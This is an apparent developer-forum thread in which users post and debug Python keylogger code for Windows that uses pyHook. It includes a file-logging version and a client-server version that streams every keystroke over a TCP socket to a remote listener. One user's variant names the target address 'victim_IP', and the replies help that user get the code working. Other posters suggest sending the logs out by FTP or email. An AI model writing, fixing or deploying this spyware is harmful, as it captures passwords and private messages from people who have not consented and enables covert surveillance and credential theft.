Written in python2.6
I know there are a lot of key loggers out there, but i wanted to try my hand at it.
It works like a charm =)

#Key Logger
#By: K.B. Carte
#Version 1.0
################

import pythoncom, pyHook, sys, logging


LOG_FILENAME = 'path\to\log.out'



def OnKeyboardEvent(event):
    logging.basicConfig(filename=LOG_FILENAME,
                        level=logging.DEBUG,
                        format='%(message)s')
    print "Key: ", chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

Needs pyWin32 and pyHook

I did something similar except I made 2 versions, one put the logs on a FTP server, one emailed the log. You could also try your hands at a linux keylogger, jut use xorg's xlib.

I want to send it via email, but I haven't really played with the smptlib.
I might just use raw sockets instead. FTP was another way I thought, but I don't really know much about it. I don't have access to the internet too often, and when I do its for class. So research is mostly limited to the docs that came with python lol.

I want to send it via email, but I haven't really played with the smptlib.
I might just use raw sockets instead. FTP was another way I thought, but I don't really know much about it. I don't have access to the internet too often, and when I do its for class. So research is mostly limited to the docs that came with python lol.

FTP is quite simple, you can make a 15 line program to upload the logs to a FTP server.

I tried out the socket module. It might not be too secure but it works.

#Key Logger
#Version 2.0
############

#Server
#######
import socket, logging, sys

logFile = 'Path\to\log.out'
logging.basicConfig(filename=logFile, level=logging.DEBUG, format='%(message)s')

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.bind(('',6666))

s.listen(3)
conn, addr = s.accept()
print 'Client: ', addr[0]
logging.log(10,addr[0])

while 1:
  try:
    data = conn.recv(500)
    if data:
      print data
      logging.log(10,data)
  except socket.error:
      logging.log(10,'=-=-=-=-=END=-=-=-=-=-')
      print 'Connection at ', addr[0] ,' broken.'
      sys.exit()


#Key Logger
#Version 2.0
############

#Client
#######

try:
  import pythoncom, pyHook, sys, socket
except:
    print 'import error, check to make sure pythoncom and pyHook are installed'
    sys.exit()

    
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost',6666))

def OnKeyboardEvent(event):
    print "Key: ", chr(event.Ascii)
    s.send(chr(event.Ascii))
    return True

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

Not a bad idea, however as you said, not very secure. So if used for legit uses it could compromise the clients privacy, however SSL/TSL could fix this.

there seems to be a problem in your code dude i tried some variations but still the problem is in the client places are line 44,55, etc
I changed at some places. But still have bugs can you advice where I am making mistakes....

#Client
#######
import socket
import os
try:
  import pythoncom, pyHook, sys, socket
except:
    print 'import error, check to make sure pythoncom and pyHook are installed'
    	sys.exit()
victim_IP = raw_input ("please input an IP to connect to ")
host=victim_IP
addr = (victim_IP, 1002)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(addr)
#s.connect(('localhost',1002))

def OnKeyboardEvent(event):
    print "Key: ", chr(event.Ascii)
    s.send(chr(event.Ascii))
    return True

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

The errors are as under

acer@acer:~/Desktop/Python$ python klclient
import error, check to make sure pythoncom and pyHook are installed
Traceback (most recent call last):
File "klclient", line 8, in <module>
sys.exit()
NameError: name 'sys' is not defined
acer@acer:~/Desktop/Python$ python klclient
import error, check to make sure pythoncom and pyHook are installed
Traceback (most recent call last):
File "klclient", line 8, in <module>
sys.exit()
NameError: name 'sys' is not defined
acer@acer:~/Desktop/Python$ python klclient
import error, check to make sure pythoncom and pyHook are installed
Traceback (most recent call last):
File "klclient", line 8, in <module>
sys.exit()
NameError: name 'sys' is not defined
acer@acer:~/Desktop/Python$ python klclient
import error, check to make sure pythoncom and pyHook are installed
please input an IP to connect to 127.0.0.1
Traceback (most recent call last):
File "klclient", line 12, in <module>
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
NameError: name 'socket' is not defined
*********************************************************************** Can you through some light on the same please

one more thing i am using python version 3.0 I don't think it would effect the code. Also I am a new bee may be I am making some mistake here that I am unable to visualise

Read the comments. Also, apply what the comments say to the server code. I haven't worked with Python 3.x, but I do know that the print statement is now enforced as a method. The comments will explain.

After reading your comment, it looks like your trying to run this in linux, pywin32 and pyhook are for windows machines. Try this code on windows, or in a VM of windows.

#Client
#######

#these are standard in the python libs
#you don't need a try/except for these
import os, sys, socket

#make sure you have pywin32 and pyhook installed
try:
  import pythoncom, pyHook
except:
    #print is now a method in python 3.x
    print('import error, check to make sure pythoncom and pyHook are installed')
    	sys.exit()
victim_IP = raw_input ("please input an IP to connect to ")
host=victim_IP
addr = (victim_IP, 1002)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(addr)
#s.connect(('localhost',1002))

def OnKeyboardEvent(event):
    #print is now a method in python 3.x
    print("Key: %s" % chr(event.Ascii))
    s.send(chr(event.Ascii))
    return True

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.